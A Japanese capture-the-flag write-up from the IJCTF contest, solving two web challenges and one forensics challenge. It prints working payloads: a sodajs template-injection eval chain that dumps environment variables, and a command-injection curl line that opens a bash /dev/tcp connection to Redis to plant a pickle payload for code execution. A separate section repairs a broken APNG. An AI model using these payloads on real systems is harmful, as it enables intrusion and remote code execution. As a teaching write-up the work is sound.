7/24 - 7/25という日程で開催された。zer0ptsで参加して1位。
[Web 884] SodaFactory (19 solves)
次のようなソースコードが与えられる。/makeSoda
にSSTIがあるが、sodajsという聞き慣れないテンプレートエンジンが使われている。
const express = require('express') const soda = require('sodajs/node'); const app = express() app.use(express.static('public')) app.use(express.urlencoded({ extended: true })) var images = { coke:"https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg", pepsi:"https://static.winc.com.au/pi/70/0f795e8e7cbb8d4c874032865e2c8a246d6416-155505/lgsq.jpg", fanta:"https://cdn.shopify.com/s/files/1/2070/6751/products/Fanta.jpg?v=1545098502", } app.post('/makeSoda', (req, res) => { var {name, brand} = req.body; img = images[brand]; res.send(soda(` <title>${name}</title> <img src='${img}' alt='${name}'> `,{})) }) app.listen(process.env.PORT,'0.0.0.0', () => { console.log(`Listening`) })
Node.jsなので "abc"["constructor"]["constructor"]
にアクセスすれば eval
的なことができるんじゃないかな~と思って試したらいけた。
$ curl -g 'http://34.126.213.161:5553/makeSoda' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'name={{"abc"["constructor"]["constructor"]("return process.env")()}}&brand=coke' <title>{ "NODE_VERSION": "12.18.1", "HOSTNAME": "07aa9bddbe87", "YARN_VERSION": "1.22.4", "PORT": "3000", "HOME": "/root", "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", "PWD": "/app", "FLAG": "IJCTF{Y00_maK3_g00D_50DA_MA73}" }</title> <img src="https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg" alt="[object Object]" />
[Web 999] Jinx (3 solves)
nginx-lua-moduleを使ったスクリプトである /cgi/ping
にOSコマンドインジェクションがある。/cgi/ping?ip=;id
で uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
が返ってくる。
local hex_to_char = function(x) return string.char(tonumber(x, 16)) end local unescape = function(url) return url:gsub("%%(%x%x)", hex_to_char) end local ping = function(ip) local cmd = "ping -c1 "..ip local p = io.popen(cmd, 'r') local s = assert(p:read('*a')) p:close() return s end local ip = unescape(ngx.var.arg_ip) ngx.say(ping(ip))
このOSコマンドインジェクションから他のサーバにSSRFができる。cdn
の app.py
ではRedisをキャッシュのために使っているから、SSRFでRedisサーバにペイロードを仕込んでやればRCEに持ち込める。というのも、Flask-CachingはデフォルトではpickleでシリアライズしたデータをRedisサーバに保存しているから。
from flask import Flask, request from flask_caching import Cache from redis import Redis app = Flask(__name__) cache = Cache(app, config={'CACHE_TYPE': 'redis','CACHE_REDIS_HOST':'redis'}) redis = Redis('redis') ... @app.route('/uploads/<path:name>',methods=["GET"]) @cache.cached(timeout=30) def uploads(name): d = redis.get(f"uploads_{name}") if d != None: return d else: return "Nothing with the name " + name
EVAL "redis.call('set', 'flask_cache_view//uploads/aikatsu', '!(pickle payload)')"
相当のコマンドをRedisサーバに対して送った上で /uploads/aikatsu
にアクセスすれば、仕込んだペイロードが実行される。flag
というファイルを読み込むようにしてやればフラグが得られる。
$ curl 'http://34.126.213.161:5551/cgi/ping?ip=;bash%20-c%20"exec%203<>/dev/tcp/redis/6379;echo%20-en%20\"PING\r\nEVAL redis.call(string.char(115,101,116),string.char(102,108,97,115,107,95,99,97,99,104,101,95,118,105,101,119,47,47,117,112,108,111,97,100,115,47,97,105,107,97,116,115,117),string.char(33,99,95,95,98,117,105,108,116,105,110,95,95,10,101,118,97,108,10,40,83,39,111,112,101,110,40,34,102,108,97,103,34,41,46,114,101,97,100,40,41,39,10,116,82,46)) 0\r\nQUIT\r\n\"%20>%263;%20sleep%200.5;%20cat%20<%263"%202>%261' +PONG $-1 +OK $ curl 'http://34.126.213.161:5551/uploads/aikatsu' --output - IJCTF{p1ckl3+4+p1VOt}
[Forensic 999] Black Letter (3 solves)
ぶっ壊れたPNGファイルが渡される。acTL
とか fdAT
といったチャンク名が見えるからAPNGと判断できる。バイナリエディタで各チャンクについて見ていくとチャンクサイズとCRCがすべて0になっているし、fcTL
と fdAT
チャンクを見ていくとシーケンス番号からチャンクの順番がバラバラになっていることがわかる。
まず次のコードでチャンクサイズとCRCを直す。
import binascii import struct import re def pack(x): return struct.pack('>I', x) with open('message.png', 'rb') as f: data = f.read() chunk_names = ['IHDR', 'acTL', 'tRNS', 'fcTL', 'fdAT', 'IEND'] pattern = re.compile('|'.join(chunk_names).encode()) res = data[:] it = pattern.finditer(data) curr = next(it) for next_ in it: size = next_.start() - curr.start() - 12 res = res[:curr.start() - 4] + pack(size) + res[curr.start():] chunk_name = curr.group(0) crc = binascii.crc32(data[curr.start():next_.start() - 8]) res = res[:next_.start() - 8] + pack(crc) + res[next_.start() - 4:] curr = next_ res = res[:-4] + b'\xae\x42\x60\x82' with open('result.png', 'wb') as f: f.write(res)
シーケンス番号をもとにチャンクを正しい順番に並べ替えた上で、各フレームを横に結合して1枚の画像として描画するようなAPNGビュアーを作る。
import io import struct import re import zlib from PIL import Image def u8(x): return struct.unpack('>B', x)[0] def u32(x): return struct.unpack('>I', x)[0] def render(data, w, h): stream = io.BytesIO(data) im = Image.new('L', (w, h)) pix = im.load() for y in range(h): mode = stream.read(1) for x in range(w): pix[x, y] = u8(stream.read(1)), return im with open('result.png', 'rb') as f: data = f.read() chunk_names = ['IDAT', 'fdAT', 'fcTL'] pattern = re.compile('|'.join(chunk_names).encode()) frames = [] it = pattern.finditer(data) for curr in it: chunk_name = curr.group(0).decode() size = u32(data[curr.start()-4:curr.start()]) tmp = data[curr.end():curr.end()+size] if chunk_name == 'fcTL': seqnum = u32(tmp[:4]) width, height = u32(tmp[4:8]), u32(tmp[8:12]) x_off, y_off = u32(tmp[12:16]), u32(tmp[16:20]) dispose_op = u8(tmp[24:25]) blend_op = u8(tmp[25:]) elif chunk_name == 'IDAT': seqnum = 0 tmp = zlib.decompress(tmp) im = render(tmp, 25, 25) elif chunk_name == 'fdAT': seqnum = u32(tmp[:4]) tmp = zlib.decompress(tmp[4:]) tmp_im = render(tmp, width, height) frames.append({ 'seqnum': seqnum, 'im': tmp_im, 'x_off': x_off, 'y_off': y_off, 'dispose_op': dispose_op, 'blend_op': blend_op }) frames.sort(key=lambda x: x['seqnum']) res = Image.new('L', (25 * len(frames), 25)) for i, frame in enumerate(frames): if frame['dispose_op'] == 1: # APNG_DISPOSE_OP_BACKGROUND im = Image.new('L', (25, 25)) if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS tmp = im.copy() im.paste(frame['im'], (frame['x_off'], frame['y_off'])) res.paste(im, (25 * i, 0)) if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS im = tmp res.show() res.save('res2.png')
実行するとフラグが得られた。
IJCTF{d34f6429957e3ec205d4f140c9b34a33}